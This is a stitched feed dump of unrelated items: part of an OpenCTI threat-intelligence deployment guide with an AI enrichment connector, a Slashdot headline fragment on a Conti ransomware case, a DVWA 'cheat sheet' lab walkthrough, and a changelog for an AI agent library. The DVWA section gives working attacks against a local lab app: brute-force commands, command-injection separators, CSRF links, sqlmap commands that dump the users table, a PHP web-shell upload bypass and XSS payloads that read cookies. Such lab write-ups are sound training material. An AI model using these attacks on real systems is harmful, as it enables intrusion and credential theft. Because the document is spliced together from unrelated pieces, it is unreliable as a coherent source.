            return "Skipped: content too short"

        self.helper.log_info(f"Enriching report: {report['name']}")
        result = self._call_claude(REPORT_PROMPT, content)
        if not result:
            return "Skipped: Claude error"

        confidence = result.get("confidence", 50)
        entity_id = report["id"]

        if result.get("summary"):
            self._add_note(entity_id, result["summary"], confidence)
        if result.get("threat_actors"):
            self._link_threat_actors(entity_id, result["threat_actors"], confidence)
        if result.get("malware_families"):
            self._link_malware(entity_id, result["malware_families"], confidence)
        if result.get("attack_techniques"):
            self._link_attack_patterns(entity_id, result["attack_techniques"], confidence)

        self._update_score(entity_id, confidence)
        self.helper.log_info(f"Enriched report '{report['name']}'")
        return "Enriched"

    def _enrich_intrusion_set(self, entity: dict) -> str:
        content = entity.get("description") or entity.get("name", "")
        if not content or len(content) < 10:
            return "Skipped: content too short"

        self.helper.log_info(f"Enriching intrusion set: {entity['name']}")
        result = self._call_claude(INTRUSION_SET_PROMPT, content)
        if not result:
            return "Skipped: Claude error"

        confidence = result.get("confidence", 50)
        entity_id = entity["id"]

        if result.get("summary"):
            self._add_note(entity_id, result["summary"], confidence)
        if result.get("malware_families"):
            self._link_malware(entity_id, result["malware_families"], confidence)
        if result.get("attack_techniques"):
            self._link_attack_patterns(entity_id, result["attack_techniques"], confidence)

        self.helper.log_info(f"Enriched intrusion set '{entity['name']}'")
        return "Enriched"

    # -------------------------------------------------------------------------
    # Event handler
    # -------------------------------------------------------------------------

    def process_message(self, data: dict) -> str:
        entity_type = data.get("entity_type", "").lower()
        entity_id = data.get("entity_id")
        enrichment_entity = data.get("enrichment_entity", {})

        self.helper.log_info(f"Received entity_type='{entity_type}' id='{entity_id}'")

        if not entity_id:
            return "Skipped"

        entity = enrichment_entity or {}

        if entity_type == "report":
            if not entity:
                entity = self.helper.api.report.read(id=entity_id) or {}
            if entity.get("confidence", 0) < 40:
                return "Skipped: low confidence"
            return self._enrich_report(entity)

        if entity_type in ("intrusion-set", "threat-actor-group"):
            if not entity:
                entity = self.helper.api.intrusion_set.read(id=entity_id) or {}
            if not entity:
                return "Not found"
            return self._enrich_intrusion_set(entity)

        if entity_type == "malware":
            if not entity:
                entity = self.helper.api.malware.read(id=entity_id) or {}
            if not entity:
                return "Not found"
            content = entity.get("description") or entity.get("name", "")
            if not content or len(content) < 10:
                return "Skipped: content too short"
            self.helper.log_info(f"Enriching malware: {entity['name']}")
            result = self._call_claude(REPORT_PROMPT, content)
            if not result:
                return "Skipped: Claude error"
            confidence = result.get("confidence", 50)
            if result.get("summary"):
                self._add_note(entity["id"], result["summary"], confidence)
            if result.get("attack_techniques"):
                self._link_attack_patterns(entity["id"], result["attack_techniques"], confidence)
            self._update_score(entity["id"], confidence)
            return "Enriched"

        return "Skipped"

    def start(self):
        self.helper.log_info("AI Enrichment connector starting...")
        self.helper.listen(self.process_message)


if __name__ == "__main__":
    AIEnrichmentConnector().start()

connectors/ai-enrichment/Dockerfile

FROM python:3.11-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY connector.py .
CMD ["python", "connector.py"]

connectors/ai-enrichment/requirements.txt

pycti>=6.2.0
anthropic>=0.40.0

9.4 Deploy the AI Connector

Prerequisites: Set ANTHROPIC_API_KEY in .env first.

cd /home/andrey/openCTI
# Build the image
docker compose -f docker-compose.ai.yml build
# Start it
docker compose -f docker-compose.ai.yml up -d
# Verify it registered with OpenCTI (look for "AI Enrichment" in connector list)
docker logs opencti-connector-ai-enrichment-1 --tail=20

In the OpenCTI UI: Settings → Connectors → Enrichment — the connector should appear with status connected after ~10 seconds.

9.5 Testing the Pipeline

Trigger a manual enrichment by importing a real threat report:

# Import a STIX report via the API to trigger the connector
curl -s -X POST http://localhost:8080/graphql \
  -H "Authorization: Bearer $(grep OPENCTI_ADMIN_TOKEN .env | cut -d= -f2)" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "mutation { reportAdd(input: { name: \"Test: APT29 spearphishing campaign\", description: \"APT29, also known as Cozy Bear, conducted a spearphishing campaign targeting NATO members using a malicious PDF dropper that installed Cobalt Strike beacon via PowerShell (T1059.001). The campaign targeted defense contractors in Poland and Germany. The malware communicated with C2 over HTTPS using domain fronting (T1090.004).\", published: \"2024-01-15T00:00:00Z\", report_types: [\"threat-report\"] }) { id name } }"
  }'

Then check what the AI connector wrote back:

# Watch connector logs for the enrichment
docker logs -f opencti-connector-ai-enrichment-1 2>&1 | grep -E "Enriching|Enriched|Error"
# Expected output:
# Enriching report: Test: APT29 spearphishing campaign
# Enriched: 1 actors, 1 malware, 2 techniques

In the UI, open the report — it should now have a Note with the summary, relationships to APT29 and Cobalt Strike, and links to T1059.001 and T1090.004.

9.6 Cost and Rate Limiting

Estimated Claude API cost per report:

• ~500–2000 tokens input (report text, truncated at 8000 chars)
• ~300 tokens output (JSON response)
• At claude-opus-4-7 pricing: ~$0.01–0.05 per report

Rate limiting: The Anthropic API has per-minute token limits. If AlienVault imports hundreds of reports in a burst, the connector will hit rate limits. Add a simple backoff:

import time
def _call_claude(self, content: str) -> dict | None:
    for attempt in range(3):
        try:
            msg = self.client.messages.create(...)
            return json.loads(msg.content[0].text)
        except anthropic.RateLimitError:
            time.sleep(60 * (attempt + 1))
        except (json.JSONDecodeError, anthropic.APIError) as e:
            self.helper.log_error(f"Claude call failed: {e}")
            return None
    return None

To limit scope (only enrich reports above a confidence threshold, skip low-quality feeds):

def process_message(self, data: dict) -> str:
    report = self.helper.api.report.read(id=entity_id)
    # Skip reports with low confidence (e.g. AlienVault auto-generated)
    if report.get("confidence", 0) < 40:
        return "Skipped: low confidence"
    return self._enrich_report(report)

9.7 Rules Engine (CE Automation)

Note: Playbooks are an Enterprise Edition feature. The Community Edition uses the built-in Rules Engine, which automatically infers and propagates relationships as data arrives.

All 20 rules are enabled. To verify or toggle: Settings → Customization → Rules

To enable all rules via API (already done — included for re-initialization):

RULES="attribution_attribution attribution_targets indicate_sighted attribution_use \
localization_of_targets location_location location_targets participate-to_parts \
observable_related observe_sighting part_part part-of_targets sighting_incident \
sighting_observable sighting_indicator report_ref_identity_part_of \
report_ref_indicator_based_on report_ref_observable_based_on \
report_ref_location_located_at parent_technique_use"
TOKEN=$(grep OPENCTI_ADMIN_TOKEN /home/andrey/openCTI/.env | cut -d= -f2)
for rule in $RULES; do
  curl -s -X POST http://localhost:8080/graphql \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d "{\"query\":\"mutation { ruleSetActivation(id: \\\"$rule\\\", enable: true) { id activated } }\"}" \
    | python3 -c "import sys,json; d=json.load(sys.stdin); print('$rule:', d['data']['ruleSetActivation']['activated'])"
done

What these rules do automatically once data arrives:

RuleEffectattribution_attributionIf APT-X is attributed to Country-A, and APT-Y is a sub-group of APT-X → APT-Y also attributed to Country-Asighting_incidentIf an indicator is sighted, automatically raise an Incidentindicate_sightedIf indicator is sighted → infer the targeted entity from the indicator's relationshipreport_ref_indicator_based_onIf a Report references Observable X, and X has an Indicator → auto-link the Indicator to the Reportobservable_relatedIf two objects share a common Observable → infer a related-to relationshipparent_technique_useIf a sub-technique (T1059.001) is used → auto-link parent technique (T1059) as used

For custom event-driven automation in CE, use a pycti script or the AI connector (section 9.1). The pycti library supports streaming the live event feed via helper.listen() — the AI connector in 9.1 uses exactly this pattern.

10. Post-Deployment Hardening

10.1 Reverse Proxy with TLS (nginx)

# /etc/nginx/sites-available/opencti
server {
    listen 443 ssl http2;
    server_name opencti.yourdomain.com;
ssl_certificate     /etc/letsencrypt/live/opencti.yourdomain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/opencti.yourdomain.com/privkey.pem;
    ssl_protocols       TLSv1.2 TLSv1.3;
    ssl_ciphers         ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384;
    location / {
        proxy_pass         http://127.0.0.1:8080;
        proxy_set_header   Host $host;
        proxy_set_header   X-Real-IP $remote_addr;
        proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header   X-Forwarded-Proto $scheme;
        proxy_read_timeout 300s;
        client_max_body_size 100m;
    }
}
server {
    listen 80;
    server_name opencti.yourdomain.com;
    return 301 https://$host$request_uri;
}

10.2 Backup Strategy

#!/bin/bash
# /home/andrey/openCTI/scripts/backup.sh
set -euo pipefail
BACKUP_DIR="/mnt/backup/opencti/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$BACKUP_DIR"
# Snapshot ElasticSearch
curl -s -u elastic:${ELASTIC_PASSWORD} \
  -X PUT "http://localhost:9200/_snapshot/backup/snapshot_$(date +%Y%m%d)" \
  -H 'Content-Type: application/json' \
  -d '{"indices": "*", "ignore_unavailable": true}'
# Dump MinIO (reports, files)
docker run --rm \
  --network opencti_network \
  -v "$BACKUP_DIR:/backup" \
  minio/mc:latest \
  mirror myminio/opencti /backup/minio/
echo "Backup completed: $BACKUP_DIR"

10.3 Security Checklist

• Change all default passwords in .env
• Generate unique UUID4 tokens for every connector
• Enable TLS via nginx reverse proxy
• Restrict port 8080 to localhost only (127.0.0.1:8080:8080)
• Enable ElasticSearch authentication (already configured above)
• Set up fail2ban on the nginx access log
• Rotate OPENCTI_ADMIN_TOKEN every 90 days
• Review TLP markings — ensure nothing RED leaks via TAXII
• Enable audit logging: APP__APP_LOGS__LOGS_LEVEL: info

11. Operational Runbook

Day 1 — Initial Data Load

# MITRE ATT&CK loads first (foundational framework)
# Wait ~10 minutes for it to complete, then verify:
TOKEN=$(grep OPENCTI_ADMIN_TOKEN /home/andrey/openCTI/.env | cut -d= -f2)

curl -s -X POST http://localhost:8080/graphql \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query": "{ attackPatterns { edges { node { name } } } }"}' | \
  python3 -c "import sys,json; d=json.load(sys.stdin); print('Techniques loaded:', len(d['data']['attackPatterns']['edges']))"
# Should return 500+ techniques

Common Operations

# Check all connector health
docker compose -f docker-compose.connectors.yml ps
# View connector logs
docker compose -f docker-compose.connectors.yml logs --tail=50 connector-alienvault
# Restart a stuck connector
docker compose -f docker-compose.connectors.yml restart connector-malwarebazaar
# Scale workers for high ingest load
docker compose -f docker-compose.yml up -d --scale worker=5
# Check ElasticSearch cluster health
curl -s -u elastic:${ELASTIC_PASSWORD} http://localhost:9200/_cluster/health?pretty
# Check RabbitMQ queue depth (should stay near 0 at rest)
docker exec $(docker ps -qf name=rabbitmq) rabbitmqctl list_queues name messages

Monitoring Metrics to Watch

Quick Reference

# Start everything
cd /home/andrey/openCTI
docker network create opencti_network 2>/dev/null || true
docker compose -f docker-compose.yml up -d
docker compose -f docker-compose.connectors.yml up -d
docker compose -f docker-compose.ai.yml up -d
# Stop everything
docker compose -f docker-compose.ai.yml down
docker compose -f docker-compose.connectors.yml down
docker compose -f docker-compose.yml down
# Access
# UI:      http://localhost:8080
# API:     http://localhost:8080/graphql
# MinIO:   http://localhost:9001
# RabbitMQ: http://localhost:15672

12. Troubleshooting

Known Issues — OpenCTI 6.2.0 + ElasticSearch 8.13

ILM Race Condition (resource_already_exists_exception)

ES 8.13’s ILM daemon auto-bootstraps rollover indices the moment an index template with lifecycle.rollover_alias is created. OpenCTI's elCreateIndex does a check-then-create which loses the race. This kills initialization and loops with restart: always.

Fix already applied: patches/back.js is mounted over the compiled bundle and makes elCreateIndex idempotent — it catches resource_already_exists_exception and returns null.

Re-initialization procedure (if ES volume is dropped):

# 1. Delete any leftover index templates from a failed run
curl -s -u elastic:${ELASTIC_PASSWORD} -X DELETE \
  "http://localhost:9200/_index_template/opencti*"

# 2. Flush Redis state
docker exec opencti-redis-1 redis-cli -a opencti FLUSHALL

# 3. Start ES first, wait for green/yellow
docker compose up -d elasticsearch
until curl -s -u elastic:${ELASTIC_PASSWORD} \
  http://localhost:9200/_cluster/health | grep -q '"status":"green"\|"status":"yellow"'; do
  sleep 5; done

# 4. Start the rest — OpenCTI will create 13 indices and load base STIX data (~5-10 min)
docker compose up -d

ElasticSearch Disk Watermark (cluster RED, no shard allocation)

ES 8.x refuses all shard allocation when disk exceeds 90% high watermark. cluster.routing.allocation.disk.threshold_enabled=false is set in docker-compose.yml.

To reclaim disk space:

docker system prune -a   # frees ~47 GB of unused images/containers

Connectors Can’t Reach opencti Hostname

Both compose files must share the same Docker network. docker-compose.yml defines:

networks:
  default:
    name: opencti_network
    external: true

If the main stack was started without this, run:

docker network connect --alias opencti opencti_network opencti-opencti-1

Then add the networks: block to docker-compose.yml and run docker compose up -d to make it permanent.

OPENCTI_TOKEN vs CONNECTOR_ID

Connectors authenticate to OpenCTI using OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}. The per-connector UUID variables (CONNECTOR_MITRE_TOKEN, etc.) are only used as CONNECTOR_ID — they identify the connector instance in the UI, not for authentication.

CVE Connector — Zero Vulnerabilities Imported (NVD API Key Bug)

connector-cve:6.2.0 has a bug: it sends the NVD API key as Bearer: <key> in the HTTP header, but NVD 2.0 API requires apiKey: <key>. The connector silently gets a non-200 response and imports nothing. Additionally, CVE_MAX_DATE_RANGE is required but missing from the image's default config — omitting it causes a TypeError: '>' not supported between instances of 'NoneType' and 'int' crash every 60 seconds.

Fix: Mount a patched api.py that uses the correct header, and add the missing vars:

connector-cve:
  image: opencti/connector-cve:6.2.0
  volumes:
    - ./patches/cve/api.py:/opt/opencti-connector-cve/services/client/api.py:ro
  environment:
    CVE_MAX_DATE_RANGE: 120
    CVE_MAINTAIN_DATA: "true"
    # ... other vars

patches/cve/api.py — change header from "Bearer": api_key to "apiKey": api_key:

headers = {"User-Agent": header}
if api_key:
    headers["apiKey"] = api_key

13. Usage Examples

13.1 Standard OpenCTI Workflows

Example 1 — Investigate an IP address

You received an alert from your SIEM about suspicious outbound traffic to 103.113.70.102.

In OpenCTI UI:

Search → type 103.113.70.102

If AlienVault or URLhaus has seen it, you’ll find:

• Which threat actor uses this IP as C2
• What malware family communicates with it
• When it was first/last observed
• TLP marking and confidence score
• All reports that mention it

Via API:

TOKEN=$(grep OPENCTI_ADMIN_TOKEN /home/andrey/openCTI/.env | cut -d= -f2)
curl -s -X POST http://localhost:8080/graphql \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query": "{ stixCyberObservables(filters: {mode: and, filters: [{key: \"value\", values: [\"https://103.113.70.102/bin/support.client.exe\"]}], filterGroups: []}) { edges { node { id entity_type ... on Url { value } } } } }"}' | python3 -m json.tool

Example 2 — Build an APT profile

You want to understand everything known about Lazarus Group before a threat briefing.

Threats → Intrusion Sets → search "Lazarus"

The profile shows:

• Attributed to: North Korea
• Motivations: Financial gain, Espionage
• Targets: Finance, Cryptocurrency, Defense
• Malware used: WannaCry, Hermes, BLINDINGCAN (all auto-linked by MITRE connector)
• Techniques: 80+ ATT&CK techniques with usage relationships
• Campaigns: Operation AppleJeus, Dream Job, etc.
• Timeline: chronological view of all activity

Click “ATT&CK Patterns” tab → heatmap showing which techniques Lazarus uses most.

Example 3 — Import a threat report (PDF / blog post)

You found a Mandiant or CrowdStrike blog post about a new campaign.

Data → Import → drag and drop the PDF or paste the URL
Select format: "Auto detect" or "Report"

OpenCTI parses it and creates a Report object. The AI enrichment connector then picks it up automatically and extracts:

• Threat actors mentioned
• Malware families
• ATT&CK technique IDs
• Targeted sectors and countries

All as STIX relationships, visible immediately in the UI.

Example 4 — Track a CVE across your environment

CVE-2024–21762 (Fortinet FortiOS RCE) was just published. Check what you know about it.

Arsenal → Vulnerabilities → search "CVE-2024-21762"

After the CVE connector syncs, you’ll see:

• CVSS score and vector
• Affected software versions
• Which threat actors exploit it (once AlienVault/MITRE data arrives)
• Which campaigns used it
• Related indicators (IPs, domains used in exploitation)

Example 5 — Create an incident from a sighting

Your EDR detected Cobalt Strike beacon on a workstation.

Activities → Incidents → Create
  Name: "CS beacon on WS-042"
  Type: "Intrusion"
  Confidence: 90
  Add object: link to Cobalt Strike (malware)
  Add object: link to T1071.001 (C2 over HTTP)
  Add observable: add the C2 IP

With sighting_incident rule enabled, future detections of the same C2 IP automatically raise new incidents without manual work.

Example 6 — Export IOCs to your firewall / SIEM

You want a live blocklist of all HIGH confidence IPv4 indicators.

Data → Indicators
Filter: Score > 70, Type = IPv4-Addr, Valid until > today
Export → CSV or STIX

Or use the built-in TAXII 2.1 server to push directly to your SIEM:

Settings → Taxii Server → Create collection "High confidence IOCs"
Configure your SIEM to poll: http://localhost:8080/taxii2/

Example 7 — Map your detection coverage against ATT&CK

You want to know which techniques you detect vs which you’re blind to.

Technics → Attack Patterns
Filter by: used by (Lazarus Group)

Cross-reference the list with your SIEM detection rules. Techniques with no detection rule = gap in coverage.

Export the filtered list as CSV and import into ATT&CK Navigator for a visual heatmap of covered vs uncovered techniques.

Example 8 — Pivot from malware to infrastructure

You found a Ryuk ransomware sample (SHA256 hash).

Search → paste the SHA256

From the malware object, pivot to:

• Related indicators → domains and IPs used for C2
• Used by → Wizard Spider (threat actor)
• Campaigns → which ransomware campaigns used this variant
• Techniques → T1486 (Data Encrypted for Impact), T1490 (Inhibit System Recovery)

Each pivot is one click in the graph view.

Example 9 — Share intelligence with a partner org

You want to share a report with a partner but strip out RED-marked internal data.

Open the report → Actions → Share
Select TLP level: TLP:AMBER (only partner can see it)

Or use Workspaces → Sharing groups to create a federated share with another OpenCTI instance. All objects above RED are automatically excluded from the export.

Example 10 — Build a custom dashboard for your sector

Your org is in Finance. You want a live dashboard showing threats to your sector.

Home → Dashboards → Create dashboard "Finance Threat Landscape"
Add widgets:
  - "Threat actors targeting Finance" (bar chart)
  - "Most used techniques against Finance" (ATT&CK heatmap)
  - "New IOCs last 7 days" (timeline)
  - "Active campaigns" (list)
  - "CVEs affecting banking software" (table)

Each widget auto-updates as new data arrives from connectors.

If you like this research, buy me a coffee (PayPal) — Keep the lab running

Follow for practical cybersecurity research

If you’re interested in Offensive security, AI security, real-world attack simulations, CTI, and detection engineering — this is exactly what I focus on.

Stay connected:

→ Subscribe on Medium: medium.com/@1200km
→ Connect on LinkedIn: andrey-pautov
→ GitHub — tools & labs: github.com/anpa1200
→ Contact: 1200km@gmail.com

Andrey Pautov

Follow My Work

I publish practical cybersecurity research, CTI workflows, detection engineering notes, malware analysis projects, OpenCTI work, cloud and Kubernetes security research, AI-assisted security tooling, labs, and technical guides.

Portfolio / Knowledge Base: https://1200km.com/
Medium: https://medium.com/@1200km
GitHub: https://github.com/anpa1200
LinkedIn: https://www.linkedin.com/in/andrey-pautov/

Andrey Pautov

The Intelligent Shield. OpenCTI was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Conti Ransomware Targeted Victims Worldwide

Defendant Admitted Role in Malware Development

International Cooperation Led to Arrest and Extradition

Part of Broader Operation Riptide Crackdown

Read more of this story at Slashdot.

Read more of this story at Slashdot.

Brute Force: Low & Medium

As you can see, we got this error message, So let's hop on Burp Suite and intercept the GET Request

Send it to the Intruder, hit Clear to clear any saved parameter, select the password that you sent for mine it was ‘admin’ so select it and hit Add

Now let's go to the payloads section in the intruder and load our txt payload file (i used the top 100 words from rockyou.txt wordlist for simplicity)

Now we set the payload, How can we find if tha password is right ot not ?
So,let's go to settings in the intruder section to make our customization

Intruder use these words to define if the attack fails, so it have some famous error messages
In the First Image that i posted, there was word ‘incorrect’ in it
So, after we added ‘incorrect’ , if we got the right password of course we will not find the ‘incorrect’ word. NOW Let's start the attack

The password section is the only one that didn't find the ‘incorrect’ word

Brute Force: Medium
In medium level we can make the same steps as i did in low level but i’ll go through another tool just for a change, we'll use wfuzz tool on kali linux

This is the Intercept, as you can see the password must be ‘FUZZ’ , but why?

to tell wfuzz tool that the password is the one that we want to brute force it

this is the code that i used for the attack

wfuzz -c -z file,/home/prankster/top_100_Rock_You.txt -b 'security=medium; PHPSESSID=17ef46f3cec5a583f4bf12da8c0a4daf' 'http://192.168.1.4/dvwa/vulnerabilities/brute/?username=admin&password=FUZZ&Login=Login'

Now let’s find the correct password

All of these the response is 200 (OK) , have 86 lines, but the words number for Line 4 is different ! , also the characters are different ! that means that other passwords were wrong because they tell us the same incorrect sentence each time execpt ‘password’ which is the password for user admin

Command Execution: Low

You can find that there is page for pinging that takes ip address as input BUT, do you think it can take the ip address only ?

What if you typed the ip address and then ls command ? , let’s find out

simicolon ; is the separator between commands , you can use whatever you want (&&) or (&) or (|)

After pinging, he read the ls command also, so now we can do whatever command we want

after pinging, we can find there's 3 files (help, index.php, source), and the current username (www-data) , and some system information using (uname -a) command.

Command Execution: Medium

The concept of command execution is the same, you just type the desired command and then put the malicious command that you want,
the only change is the separator between the commands like
( ; ) or (&) or (&&) or ( | ) So, Let's see which of these is working

So, pipe (|) , and (&) separators are the working separators in medium level

Cross-Site Request Forgery (CSRF): Low

this page for changing password for user admin, so if we tried to change the password to ‘test123’ it will change in the url as it's shown down

As you can see the password new and the confirmation of it is in the URL ‘test123’ are now the new password

if we changed the URL to http://192.168.1.4/dvwa/vulnerabilities/csrf/?password_new=Hello&password_conf=Hello&Change=Change#

And open this new link, the password will change directly to ‘Hello’

if you logged out and tried to login with ‘test123’ password, it will give you Login Failed
if you tried ‘Hello’ instead, you'll be logged in successfully

so you can use this malicious link with some phishing techniques and so on

Cross-Site Request Forgery (CSRF): Medium

first, we need to intercept the GET packet for password changing

Why we intercepted now ? , Because the Referer in the next packet will be hidden, so we will add it manually but with a little bit change

once we added the Referer manually , we can forward the packet and the password will change directly

now you can login with the new changed password ‘csrfmedium’

File Inclusion : Low & Medium

In this situation we just need to manipulate the URL in the website

File Inclusion : Medium

The same way as we did on low level is working on medium level, But let's try another files to confirm

SQL Injection : Low

In sql injection section we have to put the user id

Let's try some Injections💉

@ is just any sign and the ‘ after it means that anything after this will be outside of the ‘user id’ scope, and the statement after the or condition is a tautology (always True) hince it always true, it will print all users in it

The single quote closes the string that was opened by the SQL query

UNION to make two SELECT queries into a single result set , The Selection is obvious (user, password)

Everything after # is treated as a comment and ignored by the SQL engine.

SQL Injection : Medium

The concept is the same, you just have to remove comments like single quote or put more quotes , but it's the same concept

SQL Injection (Blind) : Low

these queries are working perfectly

But in Blind case, sqlmap is a perfect solution

First , you need to hit Submit in DVWA and intercept this packet using Burp Suite

now we will go to sqlmap on linux and execute this command

sqlmap -u "http://192.168.1.4/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit" --cookie="security=low; PHPSESSID=17ef46f3cec5a583f4bf12da8c0a4daf" --dbs
"Make Sure to customize your cookie and ip address"

Make sure to type the URL right, and the cookie from your Burp Suite Intercept is also right

lets explore avaliable tables for DVWA database with this command

sqlmap -u "http://192.168.1.4/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit" --cookie="security=low; PHPSESSID=17ef46f3cec5a583f4bf12da8c0a4daf" -D dvwa --tables

Now Lets explore more about ‘users’ table in DVWA database with this command

sqlmap -u "http://192.168.1.4/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit" --cookie="security=low; PHPSESSID=17ef46f3cec5a583f4bf12da8c0a4daf" -D dvwa -T users --dump

after this i decided to crack the the users password using the default wordliast in sqlmap. So all of them are cracked except the admin password
Because the admin password is ‘csrfmedium’ since the last csrf attack i didn't change it , so it's difficult to crack, but the rest are all cracked

SQL Injection (Blind) : Medium

These queries still working perfectly, unfortunately SQLMAP is not working properly in this medium level of blind sql injection

File Upload: Low

we just want to upload a simple web shell, so i used this simple php web shell LINK , and now let's upload it

Now let's access it from the URL, remove the # at the end of URL

and paste this path instead ‘../../hackable/uploads/index.php’

once you got this website, you can execute whatever you want

File Upload: Medium

In this level, the site checks whether the uploaded file is image or not so the last trick will give us an error.

So we will hop on burp suite and change the type of it to image

first we need to choose the php file, and turn the intercept on for BurpSuite

and hit Submit on DVWA, to intercept this submittion packet

this will give me an error if there's no intercept, but now i intercepted this request on burp suite

Lets change the ‘Content-Type’ from ‘application/x-php’ to ‘image/jpeg’

Alright, Let's Hit ‘Forward’ and sent the request to the DVWA

NICE! file is successfully uploaded

let's remove the ‘#’ from the URL and past the path that he gave us ‘../../hackable/uploads/index.php’ , once you get this page, congratulations

XSS Reflected: Low

In reflected xss the malicious script is reflected off the web server and executed immediately and it's not stored on the web server

Once You submit this xss payload , it'll pop-up a message says Reflected XSS

<script>alert('Reflected XSS');</script>

XSS Reflected: Medium

the previous payload is not working in this phase, so let's try another payload.

i just crafted a specified payload that makes reflected xss and take my logo print it next to hello inside the DVWA

<img src="http://127.0.0.1/Prankster_Photo.jpg" onload="alert('Reflected XSS')" style="width:100px; height:100px;">

i just uploaded my logo on http server and resized the image to be
100px X 100px , i did all of this inside the XSS Reflected payload

Let's try another reflected xss payload that uses a click me button to perform reflected xss attack everytime you press it

<a href="#" onclick="alert('Reflected XSS')">Click Me</a>

Every time you hit ‘Click Me’ button, will perform the attack

XSS Stored: Low

The malicious script is stored on the server and it will run automatically without any buttons or anything, every time you visit the XSS Stored section in DVWA , this xss code will execute

<script>alert('Stored XSS');</script>

Every time you visit the XSS Stored section in DVWA, you'll get this pop-up

XSS Stored: Medium
to be honest, the same payload is still working on medium level and i can't remove anything LOL!!
must be button for ‘clear guestbook’ but i can't find it so, the XSS is still working perfectly

I've tried to make another stored xss attack , but there's already a stores xss up and running. I also asked ChatGPT in this case and he answered this :

“If you already have an XSS payload running on the website, it’s unlikely that it would prevent another XSS attack from working.”

So let's try another way to make sure we passed medium level, so let's reset the database to enter the xss payload again on medium level

now lets maximize the name section to put the payload in the name section

Let's try this payload in the name section, this payload will give you the cookie for the user

<script>alert(document.cookie)</script>

Finally, Thanks for reading my blog , and fell free to make these attacks the way you want, it’s not a rule you can customize whatever you want to achieve your Goals.

Contact Me:

Discord: Prankster#6546

DVWA Cheat Sheet (Low & Medium) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Breaking Changes

• Removed compaction/index.ts re-export of snapcompact helpers, so snapcompact utilities are no longer available from the agent compaction barrel and should be imported from @oh-my-pi/snapcompact
• Removed the convertToLlm alias export from compaction/messages — it duplicated defaultConvertToLlm under a second name. Import defaultConvertToLlm (array form) or the new convertMessageToLlm (single-message form) instead

Added

• Added convertMessageToLlm(): the single-message core transformer behind defaultConvertToLlm(). Embedders with app-specific message roles should handle their own roles and delegate every core role (user/developer/assistant/toolResult/custom/hookMessage/branchSummary/compactionSummary) to it instead of duplicating the conversion — a duplicated compactionSummary case is how snapcompact frames once silently dropped off provider requests
• Added pruneSupersededToolResults() and the opt-in PruneConfig.supersedeKey hook so harnesses can prune stale tool results superseded by a newer read of the same file; superseded results are pruned ahead of age-based victims during overflow pruning and replaced with a [Superseded by a newer read of this file] placeholder. Without the new config, pruneToolOutputs() behavior is unchanged.
• Added readToolSupersedeKey() implementing the read-tool path/selector grammar (selector-free reads supersede range reads of the same file; URL-scheme paths exempt). Pruning honors prompt-cache economics: per-turn prunes only fire when the post-candidate suffix is small or the cache is cold (idle gap).
• Added the snapcompact compaction strategy via @oh-my-pi/snapcompact: instead of an LLM summary, discarded history is printed onto dense bitmap frames and re-attached to the compaction summary message as image blocks. CompactionSummaryMessage gains an optional images field, estimateTokens() charges per attached frame, and frames persist under preserveData.snapcompact with an 8-frame middle-out eviction budget.
• Snapcompact frames are now rendered in a provider-aware shape (SNAPCOMPACT_SHAPES + resolveSnapcompactShape(api)), following the snapcompact 200k-token monolithic evals: Anthropic-family and unknown APIs get 8x8r-bw (unscii-8 square cells, black ink, every line printed twice with the copy on a pale highlight band — read at F1 parity with raw text at ~2x lower cost and the most refusal-robust), Google gets 8x8r-sent (sentence-hue ink, ~2.9x cheaper), and OpenAI gets 6x6u-sent (unscii Lanczos-stretched to 6x6 cells — OpenAI bills a flat ~2.9k tokens per image, so frame count is the only cost lever) with detail: "original" on the frame images. snapcompactCompact() accepts model/shape options, frames persist their shape metadata, mixed-shape archives (provider switches, legacy 5x8 frames) are flagged in the reading instructions, and snapcompactGeometry()/renderSnapcompactFrame() now take a shape

Changed

• Compaction and branch-summary file lists are now a single <files> tag instead of <read-files>/<modified-files>: paths render as the grouped, prefix-folded directory tree the find/search tools emit (# dir/ headers, bare basenames), each annotated (Read), (Write), or (RW) — modified files that were also read get (RW). Legacy tags in summaries written by earlier versions are still stripped and self-heal on the next compaction

Fixed

• Fixed queued steering messages being drained into an externally aborted run: interrupting mid-tool execution (e.g. Enter with a pending steer) dequeued the steer into the dying run — it landed in history without a response and the post-abort resume saw an empty queue, so the agent stopped instead of continuing. Steering/follow-up/aside queue polls are now skipped once the run's abort signal fires, leaving the queue intact for Agent.continue().
• Fixed <read-files> compaction lists recording the same file once per line-range/raw selector (src/foo.ts:50-200, :raw, :1-50:raw, …): read-tool selectors are now stripped before tracking, so reads dedupe to the base path and match their write/edit path when splitting read-only vs modified lists. Selector-polluted lists stored by earlier compactions self-heal on the next compaction. readToolSupersedeKey() now shares the same splitter (splitReadSelector()), gaining the .. range alias and L-prefix forms it previously missed.
• Fixed estimateTokens() undercounting thinking-heavy assistant messages on replay: thinkingSignature payloads (OpenAI Responses encrypted reasoning items, Anthropic signed thinking blocks, etc.) and redactedThinking.data are now charged alongside the visible thinking text, so the local estimate tracks provider-reported usage instead of straddling the threshold on every turn (#2275).

@oh-my-pi/pi-ai

Added

• Added optional ImageContent.detail ("auto" | "low" | "high" | "original"): an OpenAI resolution hint forwarded by the openai-responses serializers (default stays auto) and by openai-completions for the values Chat Completions supports. "original" preserves native resolution — required for snapcompact frames, whose pixel-font glyphs do not survive the default downscale. Providers without a detail knob ignore the field.

Fixed

• Fixed OpenRouter DeepSeek V4 strict tool schemas nesting anyOf inside the nullable wrapper for optional unions, which produced a branch without type and triggered OpenRouter's Invalid tool parameters schema : field anyOf: missing field type 400. (#2270)
